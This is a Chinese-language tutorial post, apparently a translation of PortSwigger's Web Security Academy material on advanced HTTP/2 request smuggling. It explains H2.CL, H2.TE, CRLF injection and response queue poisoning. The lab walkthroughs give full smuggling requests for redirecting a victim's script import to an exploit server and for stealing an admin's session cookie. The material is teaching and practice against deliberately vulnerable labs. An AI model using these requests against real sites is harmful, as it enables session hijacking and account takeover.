portswigger——Advanced request smuggling(高级请求走私)_03

 


高级请求走私

在本节中,我们将以您目前所学的概念为基础,并教您一些更高级的 HTTP 请求走私技术。我们还将介绍各种基于 HTTP/2 的攻击,这些攻击得益于 Burp 独特的 HTTP/2 测试功能。如果您不熟悉HTTP / 2,请不要担心 - 我们将随时介绍所有要点。

特别是,我们将看看:

  • 常见的 HTTP/2 实现如何为请求走私启用一系列强大的新向量,使许多以前安全的站点容易受到此类攻击。

  • 如何使用请求走私持续毒害响应队列,从而有效地启用全站点接管。

  • 如何使用 HTTP/2 独占输入来构建高严重性攻击,即使目标根本不重用前端和后端服务器之间的连接。

为了帮助您实践所学知识,我们在整个过程中提供了故意易受攻击的实验室。这些基于我们的研究总监詹姆斯·凯特尔在 2021 年美国黑帽大会上首次提出的现实世界漏洞。

斯威格港研究

HTTP/2 请求走私

在本节中,我们将向您展示与流行的看法相反,实施HTTP / 2实际上使许多网站更容易受到请求走私的攻击,即使它们以前可以免受此类攻击。

HTTP/2 消息长度

请求走私从根本上说是利用不同服务器解释请求长度之间的差异。HTTP/2引入了一个单一的、强大的机制来做到这一点,长期以来一直被认为使其本质上不受请求走私的影响。

虽然你不会在Burp中看到这一点,但HTTP / 2消息是通过一系列单独的“帧”通过网络发送的。每个帧前面都有一个显式长度字段,该字段确切地告诉服务器要读入多少字节。因此,请求的长度是其帧长度的总和。

从理论上讲,这种机制意味着只要网站端到端使用 HTTP/2,攻击者就没有机会引入请求走私所需的歧义。然而,在野外,由于HTTP/2降级的广泛但危险的做法,情况往往并非如此。

HTTP/2 降级

HTTP/2 降级是使用 HTTP/2 语法重写 HTTP/1 请求以生成等效 HTTP/1 请求的过程。Web 服务器和反向代理通常这样做是为了向客户端提供 HTTP/2 支持,同时与仅使用 HTTP/1 的后端服务器通信。这种做法是本节中介绍的许多攻击的先决条件。

当 HTTP/1 语言后端发出响应时,前端服务器将反转此过程以生成它返回到客户端的 HTTP/2 响应。

这是有效的,因为协议的每个版本从根本上只是表示相同信息的不同方式。HTTP/1 消息中的每个项目在 HTTP/2 中都有一个近似的等效项。

因此,服务器在两种协议之间转换这些请求和响应相对简单。事实上,这就是Burp能够使用HTTP/2语法在消息编辑器中显示HTTP / 1消息的方式。

HTTP / 2降级非常普遍,甚至是许多流行的反向代理服务的默认行为。在某些情况下,甚至没有禁用它的选项。

关于 HTTP/2 消息表示的说明

由于 HTTP/2 是一种二进制协议,因此我们在这些材料中使用了一些艺术许可证以人类可读的格式表示 HTTP/2 消息:

  • 我们将每条消息显示为单个实体,而不是单独的“框架”。
  • 我们使用纯文本名称和值字段显示标题。
  • 我们在伪标头名称前面加上冒号,以帮助将它们与普通标头区分开来。

这与 Burp 在检查器中表示 HTTP/2 消息的方式非常相似,但请注意,它们实际上在网络上看起来并非如此。

HTTP/2降级有哪些风险?

HTTP/2降级可能会使网站面临请求走私攻击,即使HTTP/2本身在端到端使用时通常被认为是免疫的。

HTTP/2 的内置长度机制意味着,当使用 HTTP 降级时,可能有三种不同的方法来指定同一请求的长度,这是所有请求走私攻击的基础。

H2.CL 漏洞

HTTP/2 请求不必在Content-Length标头中显式指定其长度。在降级期间,这意味着前端服务器通常会添加HTTP/1标头,使用HTTP / 2的内置长度机制派生其值。有趣的是,HTTP/2 请求也可以包含自己的Content-Length标头。在这种情况下,某些前端服务器将只是在生成的 HTTP/1 请求中重用此值。

该规范规定 HTTP/2 请求中的任何标头都必须与使用内置机制计算的长度匹配,但在降级之前并不总是正确验证这一点。因此,可以通过注入误导性content-length标头来走私请求。尽管前端将使用隐式 HTTP/2 长度来确定请求的结束位置,但 HTTP/1 后端必须引用从注入的content-length标头派生的标头,从而导致Content-Length不同步。

Front-end (HTTP/2)

Back-end (HTTP/1)

在执行某些请求走私攻击时,您需要将受害者请求中的标头附加到您的走私前缀中。但是,在某些情况下,这些可能会干扰您的攻击,从而导致重复的标头错误等。在上面的示例中,我们通过在走私前缀中包含尾随参数和标头来缓解此问题。通过使用比正文稍长的Content-Length标头,受害者的请求仍将附加到您的走私前缀中,但将在标头之前被截断。Content-Length

实验室:H2.CL 请求走私

此实验室容易受到请求走私的攻击,因为前端服务器会降级 HTTP/2 请求,即使它们的长度不明确。

要解决实验室问题,请执行请求走私攻击,导致受害者的浏览器从漏洞利用服务器加载并执行恶意 JavaScript 文件,调用受害用户每 10 秒访问一次主页。alert(document.cookie)

  • 解决此实验室需要一种技术,我们在前面的HTTP 请求走私(使用 HTTP 请求走私将现场重定向转换为开放重定向)中介绍了该技术
  • 您需要在受害者的浏览器尝试导入 JavaScript 资源之前立即毒害连接。否则,它将从漏洞利用服务器获取您的有效负载,但不会执行它。您可能需要多次重复攻击才能获得正确的时机。

使用 Burp 中继器,尝试通过在 HTTP/2 请求的正文中加入任意前缀,如下所示。请记住展开检查器的请求属性部分,并确保在发送请求之前将协议设置为 HTTP/2。Content-Length: 0

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

SMUGGLED

请注意,您发送的每两个请求都会收到 404 响应,确认您已导致后端将后续请求附加到走私前缀。

请注意,如果使用 Burp 中继器发送请求GET /resources,则会重定向到 。https://YOUR-LAB-ID.web-security-academy.net/resources/

创建以下请求/resources以窃取的请求的开头以及任意Host标头:

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: foo
Content-Length: 5

x=1

发送几次请求。请注意,将此前缀通过前端允许您将连接的后续请求重定向到任意主机。

转到漏洞利用服务器并将文件路径更改为/resources 。在正文中,输入有效负载``alert(document.cookie)`,然后存储漏洞利用。

在 Burp 中继器中,编辑恶意请求,使标头指向攻击服务器:Host

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Content-Length: 0

GET /resources HTTP/1.1
Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
Content-Length: 5

x=1

发送几次请求并确认您收到到漏洞利用服务器的重定向。

重新发送请求并等待 10 秒左右。

转到漏洞利用服务器并查看访问日志。如果您看到受害者的请求,则表示您的请求走私攻击成功。否则,请检查您的攻击请求是否没有问题,然后重试。GET /resources/

一旦您确认可能导致受害者被重定向到漏洞利用服务器,请重复攻击,直到实验室解决。这可能需要多次尝试,因为您需要对攻击进行计时,以便在受害者的浏览器尝试导入 JavaScript 资源之前立即毒害连接。否则,尽管他们的浏览器会加载您的恶意 JavaScript,但它不会执行它。

H2.TE 漏洞

分块传输编码与 HTTP/2 不兼容,规范建议删除您尝试注入的任何标头或完全阻止请求。如果前端服务器未能执行此操作,并随后降级对支持分块编码的 HTTP/1 后端的请求,这也可能启用请求走私攻击。transfer-encoding: chunked

前端 (HTTP/2)

后端 (HTTP/1)

如果网站容易受到 H2.CL 或 H2.TE 请求走私的攻击,则可能会利用此行为来执行我们在之前的请求走私实验室中介绍的相同攻击。

隐藏的 HTTP/2 支持

浏览器和其他客户端(包括Burp)通常只使用HTTP / 2与服务器进行通信,这些服务器通过ALPN明确宣布支持HTTP,作为TLS握手的一部分。

某些服务器支持 HTTP/2,但由于配置错误而无法正确声明这一点。在这种情况下,服务器似乎只支持 HTTP/1.1,因为客户端默认将其作为回退选项。因此,测试人员可能会忽略可行的 HTTP/2 攻击面并错过协议级问题,例如我们上面介绍的基于 HTTP/2 降级的请求走私示例。

要强制 Burp 中继器使用 HTTP/2,以便您可以手动测试此错误配置,请执行以下操作:

  1. “设置”对话框中,转到“工具>转发器”。

  2. 连接下,启用允许 HTTP/2 ALPN 覆盖选项。

  1. 在“中继器”中,转到“检查器”面板并展开“请求属性”部分。

  2. 使用开关将协议设置为 HTTP/2。Burp 现在将使用 HTTP/2 发送此选项卡上的所有请求,无论服务器是否通告对此的支持。

image-20230713154911908

响应队列中毒

响应队列中毒是一种强大的请求走私攻击,使您能够窃取针对其他用户的任意响应,从而可能危及他们的帐户甚至整个站点。

实验室:通过 H2.TE 请求走私导致响应队列中毒

此实验室容易受到请求走私的攻击,因为前端服务器会降级 HTTP/2 请求,即使它们的长度不明确。

若要解决实验室问题,请使用响应队列中毒闯入位于 的管理面板来删除用户。管理员用户大约每 15 秒登录一次。carlos``/admin

与后端的连接每 10 个请求重置一次,因此如果您将其置于错误状态,请不要担心 - 只需发送一些正常请求即可获得新连接。

使用Burp Repeater,尝试使用分块编码在HTTP / 2请求正文中走私任意前缀,如下所示。请记住展开检查器的请求属性部分,并确保在发送请求之前将协议设置为 HTTP/2。

POST / HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Transfer-Encoding: chunked

0

SMUGGLED

请注意,您发送的每两个请求都会收到 404 响应,确认您已导致后端将后续请求附加到走私前缀。

在 Burp 中继器中,创建以下请求,该请求将完整的请求偷运到后端服务器。请注意,两个请求中的路径都指向不存在的终结点。这意味着您的请求将始终收到 404 响应。一旦你毒害了响应队列,这将更容易识别你成功捕获的任何其他用户的响应。

POST /x HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Transfer-Encoding: chunked

0

GET /x HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net

注意

请记住通过在标头后包含序列来正确终止走私请求。\r\n\r\n``Host

发送请求以毒害响应队列。您将收到对您自己的请求的 404 响应。

POST /x HTTP/2
Host: 0a1b00af047aa7c184cf550d009e0077.web-security-academy.net
Transfer-Encoding: chunked

0: 

GET /x HTTP/1.1
Host: 0a1b00af047aa7c184cf550d009e0077.web-security-academy.net


等待大约 5 秒,然后再次发送请求以获取任意响应。大多数情况下,您将收到自己的 404 响应。任何其他响应代码都表示您已成功捕获针对管理员用户的响应。重复此过程,直到捕获包含管理员新的登录后会话 Cookie 的 302 响应。

Set-Cookie: session=iPzzBjtJ7twpS3V6oSZ10dJniCV3lelb; Secure; HttpOnly; SameSite=None

注意

如果您收到大约 200 个响应,但即使经过多次尝试也无法捕获 302 响应,请发送 10 个普通请求以重置连接,然后重试。

复制会话 Cookie 并使用它来发送以下请求:

GET /admin HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=STOLEN-SESSION-COOKIE

重复发送请求,直到收到包含管理面板的 200 响应。

在响应中,找到要删除的 URL (),然后相应地更新请求中的路径。发送删除并解决实验室的请求。carlos``/admin/delete?username=carlos``carlos

请求通过 CRLF 注射进行走私

即使网站采取措施防止基本的 H2.CL 或H2.TE攻击,例如验证content-length或剥离任何transfer-encoding标头,HTTP / 2的二进制格式也提供了一些绕过这些前端措施的新方法。

在 HTTP/1 中,您有时可以利用服务器处理独立换行符 (\n) 的方式之间的差异来走私禁止的标头。如果后端将此视为分隔符,但前端服务器不这样做,则某些前端服务器根本无法检测到第二个标头。

Foo: bar\nTransfer-Encoding: chunked

理完整的 CRLF (\r\n) 序列时不存在这种差异,因为所有 HTTP/1 服务器都同意这会终止标头。

另一方面,由于 HTTP/2 消息是二进制的而不是基于文本的,因此每个标头的边界基于显式的预定偏移量而不是分隔符字符。这意味着在标头值中\r\n不再具有任何特殊意义,因此可以包含在值本身,而不会导致标头被拆分:

这本身似乎相对无害,但是当它被重写为 HTTP/1 请求时,它将再次被解释为标头分隔符。因此,HTTP/1 后端服务器将看到两个不同的标头:\r\n

Foo: bar
Transfer-Encoding: chunked

实验室:通过 CRLF 注入进行 HTTP/2 请求走私

此实验室容易受到请求走私的攻击,因为前端服务器会降级 HTTP/2 请求,并且无法充分清理传入的标头。

若要解决实验室问题,请使用 HTTP/2 独占请求走私向量来访问其他用户的帐户。受害者每 15 秒访问一次主页。

若要将换行符注入 HTTP/2 标头,请使用检查器向下钻取标头,然后按键。请注意,双击标题时,此功能不可用。Shift + Return

在Burp的浏览器中,使用实验室的搜索功能几次,并观察网站记录了您最近的搜索历史。将最近的请求发送到 Burp 中继器,并在重新发送请求之前删除您的会话 cookie。请注意,您的搜索历史记录已重置,确认它与您的会话 Cookie 相关联。POST /

将cookie删除,再次发送,发现搜索记录跟cookie绑定

展开检查器的“请求属性”部分,并确保协议设置为 HTTP/2。

使用检查器,向请求添加任意标头。将序列追加到标头的值,后跟标头:\r\n``Transfer-Encoding: chunked

Name

foo

Value

bar\r\n
Transfer-Encoding: chunked

在正文中,尝试按如下方式走私任意前缀:

0

SMUGGLED

请注意,您发送的每两个请求都会收到 404 响应,确认您已导致后端将后续请求附加到走私前缀

发送请求,然后立即刷新浏览器中的页面。下一步取决于您收到的响应:

  • 如果你的时机很幸运,你可能会看到一个回复。在这种情况下,请再次刷新页面并继续下一步。404 Not Found
  • 如果您看到的是搜索结果页面,请注意您的请求的开头search=x是否反映在页面上,因为它已附加到走私前缀中的参数。在这种情况下,请再次发送请求,但这次请等待 15 秒,然后再刷新页面。如果您看到 404 响应,只需再次刷新页面即可。

查看最近的搜索列表。如果它包含请求,则这是受害用户GET请求的开始,并包含其会话cookie。如果您看到的是自己的POST请求,则说明您刷新页面的时间太早。重试,直到您成功窃取受害者的会话 cookie。

在 Burp 中继器中,使用被盗的会话 cookie 发送对主页的请求以解决实验室问题

HTTP/2 请求拆分

当我们查看响应队列中毒时,您学习了如何在后端将单个 HTTP 请求拆分为两个完整的请求。在我们查看的示例中,拆分发生在消息正文内部,但是当 HTTP/2 降级正在进行时,您也可以在标头中导致此拆分发生。

此方法更通用,因为您不依赖于使用允许包含正文的请求方法。例如,您甚至可以使用请求:GET

这在验证content-length且后端不支持分块编码的情况下也很有用。

考虑前端重写

若要在标头中拆分请求,需要了解前端服务器如何重写请求,并在手动添加任何 HTTP/1 标头时考虑这一点。否则,其中一个请求可能缺少必需标头。

例如,您需要确保后端收到的两个请求都包含一个标头。前端服务器通常会在降级期间剥离伪标头并将其替换为新的 HTTP/1 标头。有不同的方法可以执行此操作,这可能会影响您需要放置要注入的标头的位置。Host``:authority``Host``Host

请考虑以下请求:

在重写过程中,某些前端服务器会将新标头追加到当前标头列表的末尾。就HTTP / 2前端而言,这是在标头之后。请注意,这也是在后端拆分请求的点之后。这意味着第一个请求根本没有标头,而走私请求将有两个标头。在这种情况下,您需要定位注入的标头,以便在拆分发生后将其最终出现在第一个请求中:

Host``foo``Host``Host

您还需要以类似的方式调整要注入的任何内部标头的位置。

在上面的示例中,我们以触发响应队列中毒的方式拆分请求,但您也可以通过这种方式为经典请求走私攻击走私前缀。在这种情况下,注入的标头可能会与附加到后端前缀的请求中的标头冲突,从而导致重复标头错误或导致请求在错误的位置终止。为了缓解这种情况,您可以在走私的前缀中包含尾随正文参数以及比正文略长的标头。受害者的请求仍将附加到您的走私前缀中,但会在标头之前被截断。Content-Length

实验室:通过 CRLF 注入拆分 HTTP/2 请求

此实验室容易受到请求走私的攻击,因为前端服务器会降级 HTTP/2 请求,并且无法充分清理传入的标头。

若要解决实验室问题,请使用响应队列中毒闯入位于的管理面板/admin来删除用户carlos。管理员用户大约每 10 秒登录一次。

与后端的连接每 10 个请求重置一次,因此如果您将其置于错误状态,请不要担心 - 只需发送一些正常请求即可获得新连接。

向打嗝中继器发送请求。展开检查器的“请求属性”部分,并确保协议设置为 HTTP/2。GET /

将请求的路径更改为不存在的终结点,例如 。这意味着您的请求将始终收到 404 响应。一旦你毒害了响应队列,这将更容易识别你成功捕获的任何其他用户的响应。/x

使用检查器,将任意标头附加到请求的末尾。在标头值中,注入序列以拆分请求,以便将另一个请求走私到不存在的终结点,如下所示:\r\n

name

foo

value

bar\r\n
\r\n
GET /x HTTP/1.1\r\n
Host: YOUR-LAB-ID.web-security-academy.net

发送请求。当前端服务器在降级期间追加到标头的末尾时,这会有效地将走私的前缀转换为完整的请求,从而毒害响应队列。\r\n\r\n

等待大约 5 秒,然后再次发送请求以获取任意响应。大多数情况下,您将收到自己的 404 响应。任何其他响应代码都表示您已成功捕获针对管理员用户的响应。重复此过程,直到捕获包含管理员新的登录后会话 Cookie 的 302 响应。

注意
如果您收到大约 200 个响应,但即使经过多次尝试也无法捕获 302 响应,请发送 10 个普通请求以重置连接,然后重试。

复制会话 Cookie 并使用它来发送以下请求:

GET /admin HTTP/2
Host: YOUR-LAB-ID.web-security-academy.net
Cookie: session=STOLEN-SESSION-COOKIE

重复发送请求,直到收到包含管理面板的 200 响应。

在响应中,找到要删除的 URL (),然后相应地更新请求中的路径。发送删除请求以解决实验室问题。carlos``/admin/delete?username=carlos``carlos

posted @   JKding233  阅读(78)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 上周热点回顾(3.3-3.9)
历史上的今天:
2019-09-23 mysql报错型注入
2019-09-23 phar反序列化漏洞
点击右上角即可分享
微信分享提示